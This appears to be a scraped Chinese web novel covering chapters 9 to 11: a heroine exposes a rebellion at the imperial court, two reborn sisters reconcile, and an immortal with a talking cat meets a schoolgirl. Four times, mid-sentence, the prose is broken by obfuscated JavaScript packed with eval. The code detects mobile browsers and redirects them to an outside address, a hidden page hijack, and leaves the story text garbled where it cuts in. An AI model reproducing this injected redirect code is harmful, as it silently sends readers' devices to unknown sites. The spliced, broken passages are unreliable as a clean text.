端王比谁都清楚，平昌候世子不想答应他的条件，可这次被绑走的人是王家的侄女，王家人可都在现场看着呢，除了答应，平昌候世子还有第二个选择吗？ “我可以答应王爷的条件，”平昌候世子深吸一口气，尽量让自己保持冷静“但你要先让我见见我的妻子，只有看到她平安无事，我才能放心。” “人我早就已经带走了，毕竟平昌候府的侍卫可不是吃素的。”端王笑嘻嘻的拿出一张红盖头“喏，盖头你随便看，这可是上好的苏绣，珍贵着呢。” “这的确是表妹的嫁衣，”王二公子接过来仔细端详了一番道“嫁衣的料子是姑姑的嫁妆，整个京城恐怕找不出第二匹，还有这一对鸳鸯，是姑姑亲手绣的。” 平昌候世子握紧手中的红盖头，他知道，有红盖头不代表就真抓到了人，毕竟偷一个盖头和藏一个人的难度天差地别，但他又没办法直接拒绝，毕竟那群王家的少爷小姐都急的上蹿下跳，就差直接替他答应了。 “好，”平昌候世子沉声应道“还请在场诸位为安某做个见证，安某与端王爷一并外出，子时必归，若不归……” “要是你死了，就算在我头上，”端王仍旧没个正形“我就是想找你说说话而已，怎么，你还当我要杀你？” “等等！”王二公子出声打断两人“新娘子是我王家人，我跟世子一起去，你们要说什么尽管说你们的，我在门外站着等就是。” 王二公子虽不是未来家主，却也是王家主支嫡系的少爷，身份贵重，有他在，平昌候世子在安全上就又多了一层保障。 “行，”端王这次答应的倒是干脆“我本就没想要世子的命，多一个人，也好帮我作证，免得世子到时候要是有个什么病什么灾的都往我头上扣。” 平昌候世子借口不胜酒力，换掉了繁重复杂的喜服，三人从侯府角门离开，不过一会儿，便淹没在了黑暗之中。 “王爷这是要去哪儿？” 走了一阵后，王二公子忍不住问道“这么久了，还没到吗？” 一般来说，这种秘密谈话都是找个隐蔽不起眼的据点，可现在他们越来越往人多的主路上走，难道这端王真就这么光明正大，即使是秘密谈话也要找个人多的地方？ “别急啊，”端王语气懒懒散散，他眼带笑意的看了平昌候世子一眼，“今日是夏至节，没有宵禁，很是热闹，从皇宫的观景台俯瞰京城，那才叫一个美不胜收。” “所以……王爷要带我们进宫？”王二公子抓住了重点，“这……是不是不太合适？” 端王通过绑架人家的新婚妻子威胁平昌候世子，然后走着走着就到皇宫啦？难道端王是怕他们告御状不方便，特地提前把他们给送过来吗？ “王爷这是何意？”比起王二公子的疑惑，平昌候世子则是多了几分心虚“外臣不可随意进出皇宫，若是皇上治罪，该如何是好？” “放心吧，”端王意味深长的看了平昌候世子一眼“皇上可不会因为这点小事治你的罪，毕竟，今晚可是一个不眠之夜啊。” 平昌候世子额头渐渐浮出冷汗，他不知道是哪里出了差错，但他知道，如果不是证据确凿，端王不会这么明目张胆的把他带到皇宫，现在他唯一的方法就是跑，跑到京城外与援军汇合，这样他才有可能活命。 “跑什么？” 平昌候世子刚提起逃跑的念头，就被端王一把押住，端王漫不经心的瞥了他一眼，又向皇门侍卫展示了自己的令牌“怎么，未婚妻不想要了？还是说你做贼心虚，想逃命？” “王爷知道了什么？” 被压进宫门以后，平昌候世子知道自己彻底没了逃跑的机会，只能寄希望于三皇子，他的语气彻底冷了下来。“是三皇子殿下说了什么不利于在下的话吗？” 平昌候府在为三皇子办事，这件事非常隐蔽，或者说平昌候府在一开始就有明哲保身的想法，包括这一次，平昌候府也没有在明面上参与进来，只是在暗中支持了三皇子而已，可若没有抓到切实的证据，端王又怎么会亲自来拿人？ “虽然三皇兄是个蠢货，但是你猜错了。”端王知道平昌候世子跑不掉，他也放松了许多，笑着回道“拿到平昌候府勾结三皇子证据的另有其人。” 虽说他们这些皇子不可能对皇位没有想法，但三皇兄还真是胆大包天，父皇还没怎么样呢，他就敢起兵造反，更蠢的是竟然有人跟着他干。 这群人莫不是忘了，父皇年轻时是何等的杀伐果断，只是近几年年纪大了，再加上身体不好，便没有以前杀的那么多了。 造反的事也敢做，这平昌候府到底是长了几个脑袋？ “父皇，”端王押着平昌候世子，将他带到皇帝面前“儿臣不负圣意，将这贼人捉拿至此。” “好，”坐在龙椅上的皇帝年过百半，眼神却仍旧锐利如鹰“安家小子，你还有什么话说？” “陛下明鉴，”平昌候世子跪下磕头“臣虽与三皇子殿下交好，但那不过是因为三皇子殿下是臣的姐夫，三皇子所做之事，臣万万不知啊！” 明面上，平昌候府和三皇子的联系并不多，顶多是平昌候夫人会在每个月月初的时候会去看看女儿，那个重要的账本还放在平昌候府的密室里，若是没有证据，平昌候府这种几代老臣，恐怕连皇上也不好随意处置。 “我看你是不见棺材不落泪！”端王哼了一声道“父皇，我看不如把这阴险小人直接杀了，再去抄了平昌候府，我就不信他能一点儿证据都不留。” “你年纪都这么大了，做事还是如此草率不成章法。”皇帝瞥了端王一眼，自己儿子起兵造反这件事好像丝毫没有对他造成影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829729|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“人，是你拿的，证据，自然也应当是你呈上来。” “父皇这可为难我了，”端王故作苦恼的说道“我的证据还没送到呢，这要如何是好？” “那你还提前把人给拿了？”皇帝心里有数，平昌候府心太大了，他迟早要找个由头发落，有证据不过是更名正言顺些罢了。 “没办法，”端王笑着回道“如果我不把平昌候世子给抓出来，把平昌候府给搅乱，那人也没法去密室把账本取出来。” 端王话音刚落，一个侍卫就走进来禀告，端王看有人进来了便笑道“唉，这下父皇可不能骂我了，我的证据，连带着证人，都来了。” “臣女参见陛下，陛下万岁万岁万万岁。” 出乎平昌候世子意料，进来的人并不是侍卫或者暗卫之流，而是一个身穿红嫁衣的女子，那女子抬头，一张熟悉的面孔出现在平昌候世子面前，她就是今晚一切变故的开端，本该失踪的新娘子，宿泱。 “没想到吧？”端王眼角眉梢都带着得意的笑“哦，毕竟谁能想到，宿家小姐，你的新娘子，才是最早发现这一切的人呢。” “宿家丫头，”皇帝将目光转移到宿泱身上，问询的语气还算和善“你知道什么，尽管说出来就是。” “是，”宿泱半低着头，姿态恭敬，画着精致妆容的脸上没有半分多余的表情。“一个月以前，臣女因给被舅舅罚跪祠堂的表弟送饭食而留在了王家祠堂，在祠堂内，臣女听到两个男人正谋划着窃取九龙玉佩，其中一个男人的声音，与我白日才见过的未婚夫平昌候世子十分相似。” 宿泱并没有说谎，她的确是因为这件事怀疑起了平昌候世子，她对人的声音向来很敏感，更何况她和平昌候世子白天才刚刚见过。 “臣女以为世子要对王家不利，便借着未婚夫妻的名义多次出入平昌候府，没想到，臣女竟在偶然间发现了世子与三皇子殿下的秘密。” 言多必失，宿泱并未过多解释，只是从怀中拿出账本交给皇帝身旁侍奉的太监“请皇上过目。” 皇帝拿起账本随意翻了两下，他经历过不知多少腥风血雨，想要造反无非是钱、粮、兵，这账本上所记载的，还不至于让他惊讶。 “安家小子，你也看看吧，”皇帝将账本丢到地上“看看，你还有什么好说的。” 平昌候世子捡起地上的账本，确认这确实是他一笔一笔记下的，这账本的位置满府之中只有他和父亲知道，就连母亲都不知道书房里还有暗室，宿泱这个仅仅去过平昌候府几次的人到底是怎么知道的？ “我看不如就直接诛九族吧，”端王瞥了一眼平昌候世子道“父皇仁慈，下面这些人就不安分了，再不济也要满门抄斩，以示我皇家威严。” 说话之间，外面传来兵刃相接的声音，平昌候世子眼睛瞬间亮了起来，他知道，现在他唯一的出路，就在三皇子身上。 9. 第9章 外面的打斗声持续了不短的时间，对于平昌候世子来说，这声音仿佛有一个世纪那么漫长，但看到窗外漆黑的夜色，他才猛然察觉，打斗声不过才持续了半个时辰而已。 比起平昌候世子的紧张，宿泱则是淡定的多，毕竟上辈子在她没有参与的情况下，三皇子这个蠢货都没能成功，更别提这次皇上早有防备。 很快，一个身着甲胄的人被带了进来，比起其他连拖带拽押上来的人，他看起来还算整齐体面，至少身上没有太多血污，也没有被强压着下跪。 平昌候世子眼神一点一点黯了下去，其余人均是一言不发，毕竟这次造反的是皇子，皇帝可以教训，他们这些外人却没资格说三道四。 “老三啊，”皇帝居高临下的看着三皇子“你这孩子从小性子就急，脾气也爆，我跟你说过多少次，没把握的事就先别做，否则以你这性子，迟早要闹到不可收拾。” 三皇子嘴唇动了动，最终还是没说出什么，他这个人性急、自负，脑子也不算好，但事已至此，无论说什么都是枉然，他也没了狡辩的心思。 “我不杀你，”皇帝看着自己好像一下子被抽掉了脊骨的儿子，声音仍旧冷静而威严“传我旨意，三皇子敬王以下犯上，特贬为承安郡王，赐居承安郡王府，终身不得出。” 皇帝不算一个仁慈的帝王，但他没有杀过自己的儿子，不过对于三皇子来说，终身囚禁和当场杀头哪个更让他难受，就只有他自己知道了。 三皇子被带走以后，殿内再次陷入沉默，没人敢在这个时候说话，直到皇帝再次开口，才打破了这一室的寂静。 “都在这傻站着做什么？”皇帝瞥了一眼众人，语气仍是风轻云淡“老六，不如你来说说，安家要怎么处置？” “要儿臣说，安家鼓动三皇兄造反，满门抄斩都算便宜他们了。”端王很懂帝王心意，他知道，哪怕三皇兄再不好，也是父皇的亲儿子，亲儿子可以给一条生路，跟着自己儿子造反的人必须满门抄斩。 “不过儿臣看这安家的新娘子倒是不错，”端王笑嘻嘻的答道“与其让安家人糟蹋了，还不如把新娘子赐给儿臣当王妃，儿臣也老大不小的，还连个家室都没有，这传出去多让人笑话啊。” “胡闹！”皇帝瞪了自己这个没正形的小儿子一眼，又对宿泱说道“宿家姑娘，你和安家小子的婚约自然不作数，看在你救驾有功的份上，你说说，朕该如何处置安家？” “回皇上，”宿泱当即跪下“臣女虽为女子，却知国有国法，家有家规，陛下万不可因臣女之言而动摇法度，臣女虽为平昌候世子之妻，却更是我大梁之民，为我大梁尽忠，是臣女之本分。” “至于世子，”宿泱犹豫的看了平昌候世子一眼，将头磕在地上道“臣女恳请陛下依法处置世子，处置安家，臣女愿为世子守节，以偿臣女以妻告夫之罪。” “好！”皇帝面露欣赏，“不愧是大家族精心教养出来的女儿。来人，传我旨意，宿家长女宿泱，忠厚仁义，临危不乱，忠勇之心天地可鉴，特封忠仁郡主，以彰其救驾之功。” “臣女接旨，吾皇万岁万岁万万岁。” 宿泱再次叩首行礼，心里却松了一口气，这一关，她总算是过了。 “喵∽” 皇宫大殿的屋顶上，一只杂毛猫目睹了一切，它甩了甩尾巴，有些不解的问道“云云，二小姐被封郡主了，这个应该算是好结局吧？可她为什么主动说要守寡啊？她不是不爱守寡吗？” “宿泱不是不爱守寡，她其实并不在乎自己嫁给谁，男人活没活着，她想要的是富贵又受人敬重的生活。”眠云摸了摸花花的脑袋，抬头看着天空中格外明亮的月亮“这一套说辞是她反复衡量以后，觉得效果最好的，这件事她的确办的很不错。” “啊？”花花作为一只小猫咪，很难理解这么复杂的事，听眠云这么一说，它更摸不着头脑了。 “其实宿泱本人虽然知道很多内情，但她毕竟是女子，大多数事情都无法直接参与，明面上的功劳只能说是不大不小，具体有多大的恩赏，还要看皇帝怎么想。” 眠云语气轻缓带笑，似乎并不太在意下面平昌候世子的求饶声“首先是有关平昌候世子的处置，不能求情却也不能太无情，求情会让皇帝觉得宿泱和平昌候世子余情未了，有报复之疑，急着撇清关系又难免会让皇帝觉得宿泱做妻子不忠于丈夫，男人总是很容易共情男人，有哪个男人会喜欢背叛自己的女人呢？” “那二小姐为什么不答应端王的求婚啊？”花花没太听懂眠云的话，只好糊里糊涂的问“她不是想要嫁到好人家吗？我觉得那个端王就挺好的，他可是王爷啊，以后说不定还能当皇帝呢。” “因为宿泱如果不嫁人，皇帝对她就会很宽容。”眠云见多了人间事，这种争权夺势的戏码，她心里自然有数“宿泱是个女子，这个时代女子不能入朝堂，皇帝完全不用担心对宿泱的封赏会影响朝堂局势，别说是封郡主了，如果不是没有先例，就算是封公主也是有可能的。” “可是二小姐就算嫁人了她也不能当官啊？”花花更疑惑了“为什么她嫁人了，皇帝就不能对她宽容？” “因为在这个时代，女子的功劳会在婚后自动转移到男子身上。”眠云风轻云淡的说道“若是一男子护驾有功，却并未受到封赏，那群臣会怎的想？谁还会忠于皇帝？宿泱的丈夫若是犯了事，救驾有功这个面子要不要给？若是给了，宿泱的丈夫会不会趁机发展势力，对朝堂造成影响？” “所以，现在的结果是最好的了？”花花眨巴着大眼睛，懵懵懂懂的说道。 “准确来说，是对皇帝和宿泱最有利。”眠云纠正了花花的话“皇帝不用付出实权，只要拿钱荣养着宿泱就能获得好名声。宿泱不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829730|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁人，面对丈夫可能很复杂的家庭环境，就能有钱有势有地位，只要她活着一天，就无人敢轻视她。” “也就是说，如果二小姐选择嫁人，皇帝顾忌她未来丈夫会拿救驾之功做文章，就不会给她郡主之位。而二小姐嫁为人妇，也还是要面对这个时代的人对媳妇的要求，要伺候老公、婆婆等一大家子人。”花花恍然大悟“二小姐还挺聪明的，没被端王迷惑。” “端王大概是开玩笑的，当然也有试探的意思。”眠云看了一眼已经恢复安静的大殿道“皇帝不会允许一个有救驾之功的人当王妃，但如果皇帝答应了，那端王离太子之位可就不远了。” “这些人都好有心机哦，比二小姐心机还多，”花花喃喃自语“我不喜欢这里，不过大小姐怎么样了？如果她的丈夫在今晚就死了的话，那她岂不是会过的很艰难？” “她啊……”眠云笑了笑“过两天你就知道了。” 三日回门，宿汐心情复杂的和宣威将军一起回到宿家，她这几日过的很不错，丈夫体贴，婆婆也明事理，但越是这样，她心里越觉得不安。 上一世，宣威将军明明在成婚当日收到急召，死在了战场，这一世为什么没有任何动静？她明明什么都没做，难道做这件事的……另有其人？ “父亲、母亲，”宿汐按照惯例对宿父宿母行了一礼，她左右看了看，最终忍不住问道“二妹妹怎么还没到？” “她啊，”宿父脸上浮出了些许笑意“平日里折腾的很，这会儿倒真折腾出了些名堂，托皇上仁慈，得了个郡主的封赏，今日圣上特许她去皇宫接旨受封，恐怕要过一段时间才能回来吧。” “这件事小婿也略有耳闻，”宣威将军微微颔首道“听闻贵府二小姐有勇有谋，救驾有功，识破三皇子与平昌候府的阴谋，陛下对二小姐很是赞赏，特封二小姐为忠仁郡主，赐郡主府邸、食邑八百户，是本朝少有的厚赏。” “哈哈哈哈哈！”宿父大笑起来，有女儿得此功劳，他面上自然有光，对宿汐这个平日里看着不算顺眼的女儿也多了几分宽容，很快挥手让她自行找小姐妹玩乐。 宿汐知道，这辈子与上辈子有如此大的差异，定然与宿泱脱不了干系，只是她左等右等，宿泱都没有回来，直到太阳快落山，天边已经出现晚霞的时候，宿泱才慢悠悠回到了院子。 “我想和你单独谈谈，”宿汐走上去，自从知道宣威将军这辈子没死可能是宿泱的手笔之后，她在宿泱面前就莫名气弱，可能这就是拿人手短吧。“就我们两个。” “行，”宿泱一边拆发髻，一边让身边的侍女退出去“想说什么就说吧。” “你……”宿汐犹豫再三，最终还是问了出来“你为什么要帮我？” “嗤，”宿泱笑了一声反问道“你觉得呢，宿汐，你为什么觉得我一定不会帮你，难道我们是有什么深仇大恨吗？” 10. 第10章 宿泱这话说的毫不客气，却让宿汐一下子愣在了原地。 为什么不会帮她？这道理再简单不过，宿泱向来与宿汐不合，姐妹二人还是两个娘生的，年幼时没少吵架打架，怎么看都不像是关系好的样子。 “我以为，”宿汐语气有些艰涩“你是见不惯我过的好。” “我有毛病？”宿泱翻了个白眼，一把扯下头上的簪子丢到妆台上“我们好歹是从小一起长大的姊妹，你的性子虽讨人厌，我也犯不着真盼着你怎么样。再说了，就算你倒霉，难道我就能好过不成？你倒不倒霉跟我有什么关系？” “从小到大，你好像一直很讨厌我，”宿汐沉默半晌，终于说出了她一直没能说出的心里话“我喜欢什么东西你都要跟我抢，就连未婚夫婿也一样。” “小时候的事我记不太清了，但我记得，但凡我在母亲面前跟你抢过的东西，不管那东西原本是谁的，最终都被母亲给了你！”宿泱提起这个来还有几分愤愤不平“怎么，我这个抢输了的都忘了，你这个抢赢了的还在耿耿于怀？你也太小心眼了吧？” 其实两人抢东西这种事都是很久以前的事了，那时候她才五六岁，正是觉得别人的东西更好的年纪，小孩子抢东西本就不是什么大事，更何况现在都过去十年了，宿汐竟然还记得？ “我记得，”宿汐声音有些低落“我记得在我八岁那年，有人给府里送了一批好看的珠钗，府里的每个姐妹都分到了一支，可最后还剩下一支，我也想要，你也想要，我们就吵了起来。” “然后母亲过来，让我把珠钗让给你，我又哭又嚎，最终还是给你了。”宿泱一扬眉，这件事她还真有印象，当时感觉是好东西的珠钗，现在看来不过是个不值钱的小玩意，只能说小孩子的喜好还真是奇怪。 “我得了那珠钗，心里很高兴，想要去找母亲，”宿汐神情中有几分落寞“却发现母亲正把你抱在怀里哄，说外面送来的不过是些不值钱的玩意，给我就给我了，她有更好的钗给你。” 对于一个成年人来说，这话可能没什么，但对于当时只有八岁的宿汐来说，她只觉得自己抢来的珠钗是宿泱不稀罕要的东西，她一直信赖着的母亲也把她当成外人。 在这个家里，好像没有一个全心全意对她好的人，姐妹也好，父母也罢，都只把她当累赘罢了。 宿泱动作一顿，她并没有向往常一样言语带刺嘲讽宿汐，只轻轻说了一句“这没办法。” “什么？”宿汐没明白宿泱的意思，她抬头与镜子里的宿泱对视。 “这没办法，”宿泱又重复了一遍“你想要亲娘，可你的亲娘难产去世，她没办法活过来。你想要和我完全一样的待遇，可你不是我娘生的，我娘也没办法对亲生女儿和继女一视同仁。” “这个世界上有太多没办法的事，”宿泱看着镜子里的宿汐说道“女人没办法和男人一样考取功名，纵使她才高八斗，平民没办法和贵族一样去学堂读书，纵使他天资聪颖，规则是强者制定的，要么打破，要么遵从，抱怨、痛苦、纠结，都是没有意义的事，哪怕你心里再不舒服，又能改变什么？” “因为爹娘都很宠爱你，所以连未婚夫婿都是你先挑，剩下那个才是我的，难道我连抱怨的资格都没有了吗？”宿汐觉得心里很不舒服，她长大以后就很少和宿泱大吵大闹了，但今天宿泱说的话实在令人恼火。 “你哪只眼睛看到未婚夫婿是我先挑的？”宿泱也不惯着宿汐，直接怼道“爹问你想嫁谁，你一句话都不说，我先说了以后你又说我抢了你的，难不成必须让你先选才叫公平？” “即使是我先选了也赢不过你，”宿汐再次沉默下来“父亲更疼爱你，无论你说什么他都会……” “你先选了吗？”宿泱一字一顿的说道“我问你，你、先、选、了、吗？” “我！”宿汐想要反驳，却发现她确实两辈子都没有抢先说选谁，与她相反的，无论是那一世，宿泱都会立刻做出回答，好像生怕迟一步就会被她抢了先一样。 “你没选过，你也没抢，实际上无论是哪一世，你都是像局外人一样站在旁边。”宿泱冷笑道“如果说选夫婿是一场比赛，父亲是考官，我们两个就是选手，我们两个都要说出自己的优势说服考官给我们优先选择的权利，你沉默，代表你已经弃权了，既然你已经弃权了，为什么还要说是我抢了你的？” “宿汐，”宿泱转过身看向宿汐“虽然你无论小时候还是长大都很讨人厌，但我还是觉得你小时候更好一点。” “……为什么？”宿汐嗫嚅着问了一句。 “因为你小时候，起码敢争，敢抢，也敢输。”宿泱回忆着以前的事，缓缓叹了一口气“你长大之后我都不知道该怎么和你说话了，你好像只是一味的沉浸在自己所虚构的规矩中，每个人只能按照规矩生活，在你的规矩里，从来不会有不公平，不需要争抢也没有输赢，人人都如同木偶一般存活，这样的话，你就不会再输，也不会再受伤了。” 宿汐彻底陷入沉默，宿泱所说的，是一个她以前从未思考过的问题。 在宿汐小的时候，她也很讨厌那些复杂的规矩，可不知道从何时起，她开始把规矩挂在嘴边，并打心里瞧不上宿泱这个没规矩的妹妹，觉得妹妹不如自己端庄贤惠。 可她为什么会有这样的想法呢？ 因为她没有靠山，没有人保护她，她渴望这些规矩能束缚住敌人，帮她从道德上指责对手，或许这并不是一个有效的办法，却是她唯一拥有的手段。 原来是这样啊…… 原来她不是什么端庄懂礼的大家闺秀，她只是一个连比赛都不敢参与，却要在比赛结束以后抱怨自己不可能赢的胆小鬼。 她活了这么多年，真的是越活越回去了，小时候和宿泱打架的心气早已消失不见，只剩下一个畏首畏尾，缩在名为规矩，看起来好像很安全的壳里的蜗牛。 上一世，她没有勇气争取，这一世，她仍然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829731|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有，如果不是宿泱也重生了，她或许只是重复着和上一世一样的生活，如果一直这样下去，哪怕她有重生一百次的机会，她仍旧改变不了命运。 习惯性逃避不是谦让也不是大度，逃避就是逃避。 “谢、”宿汐声音沙哑，眼泪也忍不住流了下来“谢谢。” 她不仅要感谢宿泱救了宣威将军一命，更要感谢宿泱点醒了她的自欺欺人。 “你干嘛？”宿泱被宿汐的眼泪吓了一跳，她收起了之前漫不经心的姿态，警惕道“我告诉你，你可别仗着我这次帮了你就觉得我对你好，这次我帮你只是顺手，换个守城将领对我来说又不费事，你以后要是有什么麻烦事，可少来找我。” “嗤，”宿汐破涕为笑，她瞥了宿泱一眼道“你小时候就叽叽喳喳的不讨人喜欢，长大也是一样，况且风水轮流转，以后还不知道谁要依靠着谁呢，不过我这个人心善，你要是有事求我，我少说也要帮你两次，到那时候，可就是你欠我一次了。” “少来，”宿泱没好气的瞪了宿汐一眼“依你那张不开嘴的性子，别说帮我了，就是保全你自己都不容易，这世上的事就没有尽如人意的，宣威将军的母亲虽还算明理，但他家那群穷亲戚不好对付，你可别被骂到哭着回娘家。” “不过是些穷亲戚，也值当你这么郑重，”宿汐没了之前自己给自己戴上的枷锁，整个人看起来都利落了很多“我小时候打架骂人从来没输过，每次又输又哭的可都是你。” “刚刚还哭的那么惨，这会儿你倒是精神起来了，”宿泱把长发随手一挽，又打量了宿汐两眼“你现在看着，倒是比之前顺眼的多。” 宿泱小时候不喜欢宿汐，纯粹是因为小孩子容易闹脾气，后来她不喜欢宿汐，则是因为宿汐经常阴森森的说些阴阳怪气的话，让人心里不舒服。 其实她没必要针对宿汐什么，毕竟宿汐和她完全没有利害关系，她们都不过是嫁出去的女儿罢了。 “走了！”宿汐转身冲宿泱摆摆手“不用送，毕竟我们从小一处长大，我知道你是什么德行，送不送都一样。” “神经！”宿泱没好气了骂了一句，随后又忍不住笑了一下，这个宿汐，确实比以前讨喜多了。 “夫人今日似乎很高兴，”马车上，宣威将军若有所思的看了宿汐一眼道“是因为见到了相熟的姊妹吗？” “算是吧？”宿汐想了一会儿，笑道“我只觉得人生的境遇很是神奇，以前觉得不喜的人，再看甚至有几分可爱。” “这样啊，”宣威将军虽不明白宿汐在说什么，却还是点头道“许是时过境迁，夫人的心态也有了些许变化吧。” “从前种种，譬如昨日死；从后种种，譬如今日生。［注1］”宿涛看着天边的晚霞，嘴角扬起一抹笑“许是古人也有我今日这般感受，才有了这流传千古的名句吧。” 拉车的马儿嘶吼一声，带着马车奔向落日的方向，时间匆匆离去，而未来，仍在继续。 11. 想当大女主的普通女生 岐山落了雨，雨丝细密如线，不紧不慢的洒落在树叶上，发出沙沙的声响。 八角亭中，一缕炊烟缓缓升起，又被细雨所织成的帘子打散，烟雾轻柔，雨丝细密，二者交织在一起，倒也多了几分诗意。 “云云，奶茶煮好了吗？” 一只花色斑驳的杂毛猫躺在女人腿上撒娇，嘴里却发出孩童一样稚嫩的声音“要多加一点儿糖哦。” “知道了，小贪吃鬼，”眠云笑着摸了摸花花的脑袋，又顺手给暖炉上烤着的栗子翻了个面“你倒是会吃，人间流行什么，你就要吃什么。” “嘿嘿，”花花笑了两声，又软着声音道“人间的围炉煮茶是很有意思，但他们用的食材也太差了，一点儿都不好吃，还是云云给我做的好。” 眠云笑着摇了摇头，她将炉子上的小茶壶端起来，给自己和花花各倒了一杯，又说道“慢些喝，小心烫。” 花花跳上石桌，如同人类品茶一般轻饮了一口，煞有其事的说了一声好茶，借着便一口接一口的喝了起来。 “今天你的奶茶只有这一杯，喝完就没有了，”眠云喝了一口刚煮出的奶茶，又看了一眼尾巴摇成螺旋桨的花花“今天我们还有一位客人，总不能客人还没来，茶已经喝光了。” 眠云话音未落，只见一个身着蓝白两色校服的学生冲进了八角亭，那学生没打伞，只把书包顶在头上遮雨，她在看到眠云之后惊讶了一瞬，又很快恢复平静，小心的躲在角落不说话。 “同学，”眠云率先开口，她的笑容亲和，语气温柔，让人不禁少了几分防备“雨天寒凉，你身上的衣服又湿了，不如坐近些烤烤火，免得着凉生病。” 穿着校服的女孩愣了一下，随后小声说了一句谢谢，又向火炉的方向挪了几步。 “你可以坐在这里，”眠云把花花抱起来，指了指对面的位置，又给对方倒了一杯又甜又暖的奶茶“放心，我不是坏人，毕竟哪个坏人会有闲心在雨天围炉煮茶？” 女孩忍不住笑了一下，接着又是道谢，她似乎很拘谨，坐在石凳上的时候后背挺的笔直，也不说话，只是小口小口的抿着杯中的奶茶。 “尝尝看，”眠云捡了一把已经开口的栗子放在女孩面前“你应当还没吃饭呢吧？” 女孩下意识摇头，复又想起了什么，她的眼睛一黯，彻底不说话了。 “我叫眠云，”眠云也不再追问，只是语气温和的问道“你呢？” “赵、赵梓涵，”赵梓涵下意识答道，随后又低着头补了一句“眠云姐姐，我的名字很普通吧。” 在梓涵、子涵、紫涵盛行的年代，一个班里可能都不止一个梓涵，这个名字普通的像她的人生一样，没有任何波澜。 “其实人类口中的普通也就意味着有很多人选择和认可，”眠云并未直接回答，只是笑道“我想这应当是个好名字吧，不然也不会有那么多人用。” 赵梓涵愣了一下，似乎没想到眠云会这么说。 “眠云姐姐可是一个很神奇的姐姐，可以实现你的愿望哦。”眠云笑笑，语气里带着几分诱哄的意味“那赵梓涵小同学，你有什么愿望呢？” “我？”赵梓涵指了指自己，她有些局促的说道“谢谢姐姐，我没什么愿望。” 说话间，她用力捏紧了书包上挂着的小熊挂坠，再配合上她红肿的眼眶，实在没什么说服力。 “那你为什么哭，总能跟姐姐说了吧？”眠云又倒了一杯热奶茶给赵梓涵“放心，姐姐不认识你的亲朋好友，也不会把你的秘密说出去的。” “……姐姐，”赵梓涵沉默良久才开口说道“你真的可以实现我的愿望吗？” “自然，”眠云点头“你有什么愿望想要实现？” “我……”赵梓涵欲言又止，她其实有很多愿望，但又无法说出口，最终只能开玩笑一般说道“我想穿越，姐姐也能帮我实现吗？” “穿越？”眠云自然知道穿越是什么意思，岐山位于万千位面的夹缝之中，无论哪个位面的语言她都能理解。“嗯……也不是不行，你想穿越到哪儿去？” “这个，”赵梓涵只当眠云在开玩笑，她拿出手机翻找了一阵，指着一本小说的封面对眠云说道“我想穿进这本小说里！” “虽然位面有千千万，但我也没办法帮你找出和小说完全一样的真实位面。”眠云接过赵梓涵的手机大概看了两眼小说内容说道“如果你真的想穿越的话，有两个选择，一是我帮你找一个与小说中的朝代比较相似的位面，然后带你过去，另外一个办法则是我帮你制造一场梦，既然是梦，那梦中的内容自然是随你心意了。” “啊？”赵梓涵没想到眠云真的和她讨论起了穿越的可行性，其实她刚刚只是开玩笑的，毕竟穿越这种事，怎么可能真实存在啊。 “因为跨越位面的代价比较大，造梦的代价小，所以前者我收取的东西会更昂贵一些。”眠云笑着问道“怎么样，你是真的想要穿越，还是要做一场梦呢？” “我……”赵梓涵一时分不清眠云是在开玩笑还是认真的，她在这个世界上还有父母亲人，自然不可能真的去什么异世界，于是她道“如果只想做一场梦的话，我需要付出什么代价？” “造梦只是个小法术，”眠云眼神随意一扫，最终落在赵梓涵书包的小熊挂坠上“你就把这个小熊挂坠给我当报酬，如何？” “不行！”赵梓涵猛地捏紧小熊挂坠，她再三重复着“这个不行。” “为什么？”眠云一扬眉，神情似笑非笑“这小熊挂坠难道是什么重要的人送给你的吗？” 赵梓涵手上越来越用力，片刻之后，她将小熊挂坠向下一拽递给眠云，赌气一般的说道“没什么，不过是个没用的破挂坠而已，我送给姐姐了。” “这么大方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829732|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 